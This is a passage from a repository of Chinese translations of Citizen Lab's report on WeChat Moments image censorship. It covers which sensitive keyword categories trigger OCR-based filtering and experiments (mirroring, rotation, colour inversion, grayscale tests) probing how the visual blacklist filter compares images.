to some processing such as downscaling that is being performed by Tencent’s Cloud OCR only on larger images. We predict that by increasing the distance between the blobs in larger images, we could once again evade filtering on Tencent’s Cloud OCR.\n\n### Character classification\n\nMost OCR algorithms ultimately determine which characters exist in an image by performing character classification based on different features extracted from the original image such as blobs, edges, lines, or pixels. The classification is often done using machine learning methods. For instance, Tencent’s Cloud OCR [advertises](https://cloud.tencent.com/product/ocr) that it uses deep learning, and Tesseract [also uses machine learning methods](https://github.com/tesseract-ocr/docs/blob/master/tesseracticdar2007.pdf) to classify each individual character.\n\nIn cases where deep neural networks are used to classify images, researchers have developed ways of adversarially creating images that appear to people as one thing but that trick the neural networks into classifying the image under an unrelated category; however, this work does not typically focus on OCR-related networks. [One recent work](https://arxiv.org/abs/1802.05385) was able to trick Tesseract into misreading text; however, it unfortunately required full _white-box_ assumptions (i.e., it was done with the knowledge of all Tesseract source code and its trained machine learning models) and so their methods could not be used to create adversarial inputs for a _black-box_ OCR filter such as WeChat’s where we do not have access to its source code or its trained machine learning models.\n\nOutside of the context of OCR, researchers have developed black-box methods to estimate gradients of neural networks when one does not have direct access to them. This allows one to still trigger a misclassification by the neural network by uploading an adversarial image that appears to people as one thing but is classified as another unrelated thing by the neural network. While this would seem like an additional way to circumvent OCR filtering, the threat models assumed by even these black-box methods are often unrealistic. [A recent work capable of working under the most restrictive assumptions](https://arxiv.org/abs/1804.08598) assumes that an attacker has access to not only the network’s classifications, but the top _n_ classifications and their corresponding scores. This is unfortunately still too restrictive for WeChat’s OCR, as our only signal from WeChat’s filtering is a single bit–whether the image was filtered or not. Even Tencent’s Cloud OCR, which may share implementation details with WeChat’s OCR filtering, provides a classification score for the top result but does not provide any other scores for any other potential classifications, and so the threat model is still too restrictive.\n\n### Filtered text content analysis\n\nIn this section we look at the nature of the text content triggering WeChat’s OCR-based filtering. Our previous research [found](https://citizenlab.ca/2016/11/wechat-china-censorship-one-app-two-systems/) that WeChat filters text chat using blacklisted keyword combinations consisting of one (_e.g.,_ “刘晓波”) or more (_e.g.,_ “六四 [+] 学生 [+] 民主运动”) keyword components, where if a message contains all components of any blacklisted keyword combination then it is filtered. We found that to implement its OCR-based image filtering WeChat also maintains a blacklist of sensitive keyword combinations but that this blacklist is different from the one used to filter text chat. Only if an image contains all components of any keyword combination blacklisted from images will it be filtered.\n\nTo help understand the scope and target of OCR-based image filtering on WeChat, in April 2018, we tested images containing keyword combinations from a sample list. This sample list was created using keyword combinations [previously found blocked](https://citizenlab.ca/2017/11/managing-message-censorship-19th-national-communist-party-congress-wechat/) in WeChat’s group text chat between September 22, 2017 and March 16, 2018, excluding any keywords that were no longer blocked in group text chat at the time of our testing. These results provide a general overview of the overlap between text chat censorship and OCR-based image censorship on WeChat.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f10-MK-1024x648.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f10-MK.png)\n\n> Figure 6: The percentage of tested keywords blocked and not blocked on WeChat’s OCR-based image censorship by category.\n\nOut of the 876 keyword combinations tested, we found 309 trigger OCR-based image censorship on WeChat Moments. In [previous research](https://citizenlab.ca/2016/11/wechat-china-censorship-one-app-two-systems/), we performed content analysis of keywords by manually grouping them into content categories based on contextual information. Using similar methods, we present content analysis to provide a high-level description of our keyword and image samples. Figure 6 shows the percentage of tested keyword combinations blocked and not blocked on WeChat’s OCR-based image censorship by category.\n\n**Government Criticism**\n\nWe found that 59 out of 194 tested keyword combinations thematically related to government criticism triggered OCR-based image filtering. These include keyword combinations criticizing government officials and policy (see Table 7).\n\n![](https://i.loli.net/2018/08/15/5b743d1ecd146.png)\n\n> Table 7: Examples of keyword combination related to government criticism that triggered OCR-based image filtering.\n\nThe first two examples make references to China’s censorship policies: Lu Wei, the former head of the Cyberspace Administration of China (the country’s top-level Internet management office), is often [described](https://www.straitstimes.com/asia/east-asia/chinas-former-internet-czar-lu-wei-charged-with-taking-bribes) as China’s “Internet czar”; and in 2017, Freedom House [ranked](https://freedomhouse.org/report/freedom-net/2017/china) China as “the world’s worst abuser of Internet freedom” for the third year in a row. The keyword ( “盗国贼” kleptocrat) is an derogatory reference to [Wang Qishan](https://www.scmp.com/news/china/diplomacy-defence/article/2146263/chinese-vice-president-wang-qishan-given-key-foreign), the current Vice President of China whose family [has](https://www.bbc.com/zhongwen/simp/chinese-news-40345328) allegedly benefited from ties to Chinese conglomerate HNA group.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f11-1-169x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f11-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f11-2-169x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f11-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f11-3-169x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f11-3.png) |\n\n> Table 8: An example of OCR-based image filtering in WeChat Moments. A user with an international account (on the right) posts an image containing the text “互联网自由 全世界 报告 最差” (Internet freedom [+] globally [+] report [+] the worst), which is hidden from the Moments’ feed of user with China account (in the middle). The image is visible in the user’s own feed as well as to another international account (on the left).\n\n**Party Policies and Ideology**\n\nIn [previous work](https://citizenlab.ca/2017/11/managing-message-censorship-19th-national-communist-party-congress-wechat/), we found that even keyword combinations that were non-critical and that only made neutral references to CPC ideologies and central policy were blocked on WeChat. Eighteen out of 84 tested keywords made neutral references to CPC policies and triggered OCR-based image filtering (see Table 9).\n\n![](https://i.loli.net/2018/08/15/5b743d8cd4930.png)\n\n> Table 9: Examples of keyword combinations related to Party policies and ideology that triggered OCR-based image filtering.\n\n**Social Activism**\n\nForty-eight keyword combinations in our sample set include references to protest, petition, or activist groups. We found that 21 of them triggered OCR-based image filtering (see Table 10).\n\n![](https://i.loli.net/2018/08/15/5b743f064f251.png)\n\n> Table 10: Examples of keyword combinations related to social activism that triggered OCR-based image filtering.\n\n**Leadership**\n\n[Past work](https://www.usenix.org/system/files/conference/foci17/foci17-paper-knockel.pdf)[ shows](https://citizenlab.ca/2016/11/wechat-china-censorship-one-app-two-systems/) that direct or indirect references to the name of a Party or government leader often trigger censorship. We found that among the 113 tested keyword combinations that made general references to government leadership, 21 triggered OCR-based image filtering (see Table 11). For example, we found that both the simplified and traditional Chinese version of “Premier Wang Qishan” triggered OCR-based image filtering. Around the 19th National Communist Party Congress in late 2017, there was widespread [speculation](https://www.bbc.com/zhongwen/simp/press-review-40715318) centering on whether Wang Qishan, a close ally of Xi, would assume the role of Chinese premier.\n\n![](https://i.loli.net/2018/08/15/5b743f42a9b5f.png)\n\n> Table 11: Examples of keyword combination related to leadership that triggered OCR-based image filtering.\n\n**Xi Jinping**\n\nCensorship related to President Xi Jinping has [increased](https://citizenlab.ca/2017/11/managing-message-censorship-19th-national-communist-party-congress-wechat/) in recent years on Chinese social media. The focus of censorship related to Xi warrants testing it as a single category. Among the 258 Xi Jinping-related keyword tested, 101 triggered OCR-based image censorship (see Table 12). Keywords included memes that subtly reference Xi (such as likening his appearance to Winnie the Pooh), and derogatory homonyms (吸精瓶, which literally means Semen sucking bottle).\n\n![](https://i.loli.net/2018/08/15/5b743f74587f8.png)\n\n> Table 12: Examples of keyword combinations related to Xi Jinping that triggered OCR-based image filtering.\n\n**Power Struggle**\n\nContent in this category is thematically linked to power struggles or personnel transition within the CPC. Smooth power transition has been a challenge through the CPC’s history. Rather than institutionalizing the process, personnel transitions are often influenced by [patronage networks](https://www.brookings.edu/articles/the-powerful-factions-among-chinas-rulers/) based on family ties, personal contacts, and where individuals work. We found that 40 of the 64 tested keywords in this content category triggered OCR-based image filtering (see Table 13).\n\n![](https://i.loli.net/2018/08/15/5b743f9b719b2.png)\n\n> Table 13: Examples of keyword combinations related to power struggle that triggered OCR-based image filtering.\n\n**International Relations**\n\nForty-four keywords in our sample set include references to China’s relations with other countries. We found 18 of them triggered OCR-based image filtering (see Table 14).\n\n![](https://i.loli.net/2018/08/15/5b743fc6d53ee.png)\n\n> Table 14: Examples of keyword combinations related to international relations that triggered OCR-based image filtering.\n\n**Ethnic Groups and Disputed Territories**\n\nContent in this category includes references to Hong Kong, Taiwan, or ethnic groups such as Tibetans and Uyghurs. These issues have long been contested and are [frequently censored](https://netalert.me/harmonized-histories.html) [topics](https://citizenlab.ca/2017/01/tibetans-blocked-from-kalachakra-at-borders-and-on-wechat/) in mainland China. We found 15 out of 47 keywords tested in this category triggered OCR-based image censorship (see Table 15).\n\n![](https://i.loli.net/2018/08/15/5b743ffa6ce96.png)\n\n> Table 15: Examples of keyword combinations related to ethnic groups and disputed territories that triggered OCR-based image filtering.\n\n**Events**\n\nContent in this category references specific events such as the June 4, 1989 Tiananmen Square protest. We found that 14 of the 17 tested event-related keywords triggered OCR-based image filtering (see Table 16). Thirteen of the keywords were related to the Tiananmen Square protests. We also found references to more obscure events censored such as the [suicide](http://www.chinadaily.com.cn/china/2017-09/12/content_31905967.htm) of WePhone app founder Sun Xiangmao, who said his ex-wife Zhai Xinxin had blackmailed him into paying her 10 million RMB. Although the event attracted wide public attention and online [debates](https://www.whatsonweibo.com/questions-surrounding-tragic-suicide-wephone-founder-su-xiangmo/), it is unclear why the keyword was blocked.\n\n![](https://i.loli.net/2018/08/15/5b74406888ce5.png)\n\n> Table 16: Examples of keyword combinations related to events that triggered OCR-based image filtering.\n\n**Foreign Media**\n\nThe Chinese government maintains tight control over news media, especially those owned and operated by [foreign organizations](https://foreignpolicy.com/2016/03/04/china-won-war-western-media-censorship-propaganda-communist-party/?wp_login_redirect=0). We found one out of three blocked text-based images that include names of news organizations that operate outside of China and publish critical reports on political issues (see Table 17).\n\n![](https://i.loli.net/2018/08/15/5b7440923c6b3.png)\n\n> Table 17: Example of keyword combinations related to foreign media that triggered OCR-based image filtering.\n\n> * 上一篇：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-1.md)\n>\n> * 下一篇：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 3](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md)\n\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md",
    "content": "> * 原文地址：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 3](https://citizenlab.ca/2018/08/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments/)\n> * 原文作者：[Jeffrey Knockel](https://citizenlab.ca/author/jknockel/), [Lotus Ruan](https://citizenlab.ca/author/lotus/), [Masashi Crete-Nishihata](https://citizenlab.ca/author/masashi/), and [Ron Deibert](https://citizenlab.ca/author/profd/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md)\n> * 译者：\n> * 校对者：\n\n# (CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 3\n\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-1.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 3](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 4](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-4.md)\n\n## Visual-based filtering\n\nIn the previous section we analyzed how WeChat filters images containing sensitive text. In this section we analyze the other mechanism we found that WeChat uses to filter images: a visual-based algorithm that can filter images that do not necessarily contain text. This algorithm works by comparing an image’s similarity to those on a list of blacklisted images. To test different hypotheses concerning how the filter operated, we performed modifications to sensitive images that were normally censored and observed which types of modifications evaded the filtering and which did not, allowing us to evaluate whether our hypotheses were consistent with our observed filtering.\n\nLike with WeChat’s OCR-based filtering, we did not systematically measure how much time WeChat’s visual-based filtering required. However, we found that after uploading a filtered image that does not contain sensitive text, it would typically be visible to other users for only up to 10 seconds before it was filtered and removed from others’ views of the feed. This may be because they were either filtered before they were made visible or after they were visible but before we could refresh the feed to view them. Since this algorithm typically takes less time than the OCR-based one, this algorithm would appear to be less computationally expensive than the one used for OCR filtering.\n\n### Grayscale conversion\n\nWe performed an analysis of their grayscale conversion algorithm similar to the one we performed when evaluating WeChat’s OCR filtering to determine which grayscale conversion algorithm, if any, the blacklist-based image filtering was using. Like when testing the OCR filtering algorithm, we designed experiments such that if the blacklisted image filtering algorithm uses the same grayscale algorithm that we used to determine the intensity of gray in the image, then the image effectively disappears to the algorithm and evades filtering.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f12-1-255x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f12-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f12-2-255x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f12-2.png) |\n\n> Table 18: Left, the original sensitive image. Right, the image thresholded to black and white, which is still filtered.\n\nWe chose an image originally containing a small number of colours and that we verified would still be filtered after converting to black and white (see Table 18). We used the black and white image as a basis for our grayscale conversion tests, where for each image we would replace white pixels with the colour to test and black with that colour’s shade of gray according to the grayscale conversion algorithm we are testing (see Table 19). As before, we tested three different grayscale conversion algorithms: Average, Lightness, and Luminosity (see the section on OCR filtering for their definitions).\n\n|    |    |    |    |    |    |\n| -- | -- | -- | -- | -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f13-1-150x150.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f13-1.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f13-2-150x150.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f13-2.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f13-3-150x150.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f13-3.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f13-4-150x150.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f13-4.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f13-5-150x150.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f13-5.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f13-6-150x150.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f13-6.jpeg) |\n\n> Table 19: Each of the six colours tested. Here the intensity of the gray background of each image was chosen according to the luminosity of the foreground colour.\n\n![](https://i.loli.net/2018/08/15/5b744160327c4.png)\n\n> Table 20: Results choosing the intensity of the gray background according to three different grayscale conversion algorithms for six different colours of text. Only when using the luminosity algorithm were no images were filtered.\n\nWe found that the results are largely consistent with those previously found when testing the OCR algorithm suggesting that both the OCR-based and the visual-based algorithms use the same grayscale conversion algorithm. In both cases, most images created according to the Average and Lightness algorithms were filtered, whereas all images created according to the Luminosity algorithms evaded filtering (see Table 20). This suggests that WeChat’s blacklisted image filtering, like their OCR-based image filter, converts images to grayscale and does so using the Luminosity formula.\n\n### Cryptographic hashes\n\nA simple way to compare whether two images are the same is by either hashing their encoded file contents or the values of their pixels using a cryptographic hash such as [MD5](https://en.wikipedia.org/wiki/MD5). While this makes image comparison very efficient, this method is not tolerant of even small changes in values to pixels, as cryptographic hashes are designed such that small changes to the hashed content result in large changes to the hash. This inflexibility is incompatible with the kinds of image modifications that we found the filter tolerant of throughout this report.\n\n### Machine learning classification\n\nWe discussed in the OCR section about how machine learning methods, including neural networks and deep learning, can be used to identify the text in an image. In this case, the machine learning algorithms classify each character into a category, where the different categories might be _a_, _b_, _c_, …, _1_, _2_, _3_, …, as well as Chinese characters, punctuation, etc. However, machine learning can also be used to classify more general purposes images into high level categories based on their content such as “cat” or “dog.” For purposes of image filtering, many social media platforms use machine learning [to classify whether content is pornography](https://yahooeng.tumblr.com/post/151148689421/open-sourcing-a-deep-learning-solution-for).\n\nIf Tencent chose to use a machine learning classification approach, they could attempt to train a network to recognize whether an image may lead to government reprimands. However, training a network against such a nebulous and nuanced category would be rather difficult considering the vagueness and fluidity of Chinese content regulations. Instead, they might identify certain more well-defined categories of images that would be potentially sensitive, such as images of Falun Gong practitioners or of deceased Chinese dissident Liu Xiaobo, and then classify whether images belong to these sensitive categories.\n\n|    |    |    |    |\n| -- | -- | -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f14-1-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f14-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f14-2-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f14-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f14-3-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f14-3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f14-4-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f14-4.png) |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f14-5-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f14-5.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f14-6-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f14-6.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f14-7-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f14-7.png) |\n\n> Table 21: Tencent’s sample images for each of the seven categories its classifier detects.\n\nTencent advertises _YouTu_, an API developed by the company’s machine learning research team, for providing “artificial intelligence-backed [solution](https://youtu.qq.com/#/solution-safe) to online content review.” Tencent claims that the API is equipped with image recognition functions, including OCR and facial recognition technologies, and is able to detect user generated images that contain “pornographic, terrorist, political, and spammy content”. In the case of [terrorism-related images](https://youtu.qq.com/#/img-terror-identity), YouTu provides specific categories of what it considers sensitive: militants (武装分子), controlled knives and tools (管制刀具), guns (枪支), bloody scenes (血腥), fire (火灾), public congregations (人群聚集), and extremism and religious symbols or flags (极端主义和宗教标志、旗帜) (see Table 21). To test if WeChat uses this system, we tested the sample images that Tencent provided on their website advertising the API (see Table 22). We found none of them to be censored.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f15-1.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f15-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f15-2.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f15-2.png) |\n\n> Table 22: Left, the original image of knives, which Tencent’s Cloud API classifies as “knives” with 98% confidence. Right, the mirrored image of knives, which the Cloud API classifies as “knives” with 99% confidence. Mirroring the image had virtually no effect on the Tencent classifier’s confidence of the image’s category and no effect on the ultimate classification.\n\nAfter these results, we wanted to test more broadly as to whether they may be using any sort of machine learning classification system at all or whether they were maintaining a blacklist of specific sensitive images. To do this, we performed a test that would modify images that we knew to be filtered in a way that semantically preserved their content while nevertheless largely moving around their pixels. We decided to test _mirroring_ (i.e., horizontally flipping) images. First, as a control case, we submitted the mirrored images of each of the seven categories from Table 21. We found that, as we expected, mirroring the images did not affect what they were classified as by Tencent’s Cloud API (see Table 22 for an example).\n\n|    |    |    |    |    |    |    |\n| -- | -- | -- | -- | -- | -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-1-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-2-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-3-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-4-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-4.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-5-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-5.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-6-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-6.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-7-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-7.png)|\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-8-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-8.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-9-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-9.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-10-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-10.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-11-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-11.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-12-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-12.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-13-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-13.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f16-14-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f16-14.png) |\n\n> Table 23: The first 14 of the 15 images we tested mirroring.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f17-225x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f17.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f17-mirrored-225x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f17-mirrored.png) |\n\n> Table 24: Left, the 15th image we tested, an image of Liu Xiaobo. Right, the mirrored image. Although the images technically have pixels in different positions, they both show a depiction of the deceased Liu Xiaobo, but only the original image on the left is filtered.\n\nNext, we mirrored 15 images that we found to be filtered using data from [previous](https://citizenlab.ca/2017/04/we-cant-chat-709-crackdown-discussions-blocked-on-weibo-and-wechat/) [reports](https://citizenlab.ca/2017/07/analyzing-censorship-of-the-death-of-liu-xiaobo-on-wechat-and-weibo/) and other contextual knowledge. Upon uploading them to WeChat, we found that none of them were filtered after mirroring. Other semantic-preserving operations such as cropping the whitespace from the image in Table 24 also allowed the image to evade filtering. These results, as well as additional results described further below, strongly suggest that no sort of high level machine learning classification system is being used to trigger the observed filtering on WeChat. Rather, these results suggest that there is a specific blacklist of images being maintained by Tencent that each image uploaded is somehow being compared against using some kind of similarity metric. This type of approach may be desirable as it easily allows Tencent to censor specific sensitive images that may be trending or that they are otherwise asked to censor by a government official regardless of the topic or category of the image. Note that this does not rule out the use of machine learning methods all together. Rather, this rules out any sort of filtering based on high level image classification.\n\n### Invariant features\n\nThere are different ways of describing images in a way that are invariant to certain transformations such as translation (_e.g._, moving the position of an image on a blank canvas), scale (_e.g_., downscaling or upscaling an image preserving its aspect ratio), and rotation (e.g., turning an image 90 degrees onto its side). For instance, [Hu moments](https://en.wikipedia.org/wiki/Image_moment#Rotation_invariants) are a way of describing an image using seven numbers that are invariant to translation, scale, and rotation. For example, you could rotate an image and make it twice as large, and if you calculated the resulting image’s Hu moments they would be the nearly the same as those of the original (for infinite resolution images they are exactly the same, but for discrete images with finite resolution, the numbers would be approximately equal). [Zernike moments](https://ieeexplore.ieee.org/document/55109/) are similar to Hu moments except that they are designed such that one can calculate an arbitrarily high number of them in order to generate an increasingly detailed description of the image.\n\nHu and Zernike moments are called global features because each moment describes an entire image; however, there also exist local feature descriptors to only describe a specific point in an image. By using local feature descriptors to describe an image, one can more precisely describe the relevant parts of an image. The locations of these descriptors are often chosen through a separate keypoint-finding process designed to find the most “interesting” points in the image. Popular descriptors such as [SIFT](https://en.wikipedia.org/wiki/Scale-invariant_feature_transform) descriptors are, like Hu and Zernike moments, invariant to scale and rotation.\n\nTo test if WeChat uses global or local features with these invariance properties to compare similarity between images, we tested if the WeChat image filter is invariant to the same properties as these features. We trivially knew that WeChat’s algorithm was invariant to scale as we had quickly found that any size of an image not trivially small would be filtered (in fact there was no reason to think that we were ever uploading an image the same size as the one on the blacklist). To test rotation, we rotated each image by 90 degrees counterclockwise. After testing these rotations on the same 15 sensitive images we tested in the previous section, we found that all consistently evaded filtering. This suggests that whatever similarity metric WeChat uses to compare uploaded images to those in a blacklist is not invariant to rotation.\n\n### Intensity-based similarity\n\nAnother way to compare similarity between two images is to treat each as a one-dimensional array of pixel intensities and then compare these arrays using a similarity metric. Here we investigate three intensity-based similarity metrics: the mean absolute difference, statistical correlation, and mutual information.\n\n#### Mean absolute difference\n\nOne intensity-based method to compare similarity between two images is to compare the mean absolute difference of their pixel intensities. This is to say, for each pixel, subtract from its intensity the intensity of the corresponding pixel in the other image and then take its absolute value. The average of all of these absolute differences is the images’ mean absolute difference. Thus, values close to zero represent images that are very similar.\n\nTo determine if this was the similarity metric that WeChat used to compare images, we performed the following experiment. We _inverted_, or took the negative, of each of our 15 images and measured whether the inverted image was still filtered. This transformation was chosen since it would produce images that visually resemble the original image while producing a mean absolute difference similar to that of an unrelated image.\n\n|    |    |    |    |\n| -- | -- | -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f18-1-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f18-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f18-2-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f18-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f18-3-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f18-3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f18-4-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f18-4.png) |\n\n> Table 25: Out of 15 images, these four evaded filtering. Compared to their non-inverted selves, they had mean absolute differences of 0.87, 0.66, 0.85, and 0.67, respectively.\n\nWe found that out of the 15 images we tested, only four of their inverted forms evaded filtering (see Table 25). The evaded images had an average mean absolute difference of 0.76, whereas the filtered ones had an average of 0.72. Among the inverted images that evaded filtering, the lowest mean absolute difference was 0.55, whereas among the inverted images that were filtered, the highest mean absolute difference was 0.97. This suggests that image modifications with low mean absolute differences can still evade filtering, whereas images with high mean absolute differences can still be filtered. Thus it would seem that mean absolute difference is not the similarity metric being used.\n\n#### Statistical correlation\n\nAnother intensity-based approach to comparing images is to calculate their statistical correlation. The correlation between both images is the statistical correlation between each of their pixel intensities. The result is a value between -1 and 1, where a value close to 1 signifies that the brighter pixels in one image tend to be the brighter pixels in the other, and a value close to 0 signifies little correlation. Values close to -1 signify that the brighter pixels in one image tend to be the darker pixels in the other (and vice versa), such as if one image is the other with its colours inverted. As this would suggest that the images are related, images with a correlation close to both -1 and 1 can be considered similar.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f19-1.jpg)](https://citizenlab.ca/wp-content/uploads/2018/08/f19-1.jpg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f19-2.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f19-2.png) |\n\n> Figure 7: Left, the original image. Right, the same image with the colours on the left half on the image inverted. When converted to grayscale, these images have a nearly zero correlation of -0.02, yet the image on the right is still filtered.\n\nTo test whether image correlation is used to compare images, we created a specially crafted image by inverting the colours of the left half on the image while leaving the colours in the right half unchanged (see Figure 7). By doing this, the left halves would have strong negative correlation, and the right halves would have strong positive correlation, and so the total correlation would be around zero. We found that our image created this way had a near zero correlation of -0.02, yet it was still filtered. This suggests that statistical correlation between images is not used to determine their similarity.\n\n#### Mutual information\n\nA third intensity-based approach to compare images is to calculate their mutual information. A measurement of mutual information called normalized mutual information (NMI) may be used to constrain the result to be between 0 and 1. Intuitively, mutual information between two images is the amount of information that knowing the colour of a pixel in one image gives you about knowing the colour of a pixel in the same position in other image (or vice versa).\n\nSimilar to when we were testing image correlation, we wanted to produce an image that has near-zero NMI but is still filtered. We found that the image that is half-inverted unfortunately still has a NMI of 0.89, a very high number. This is 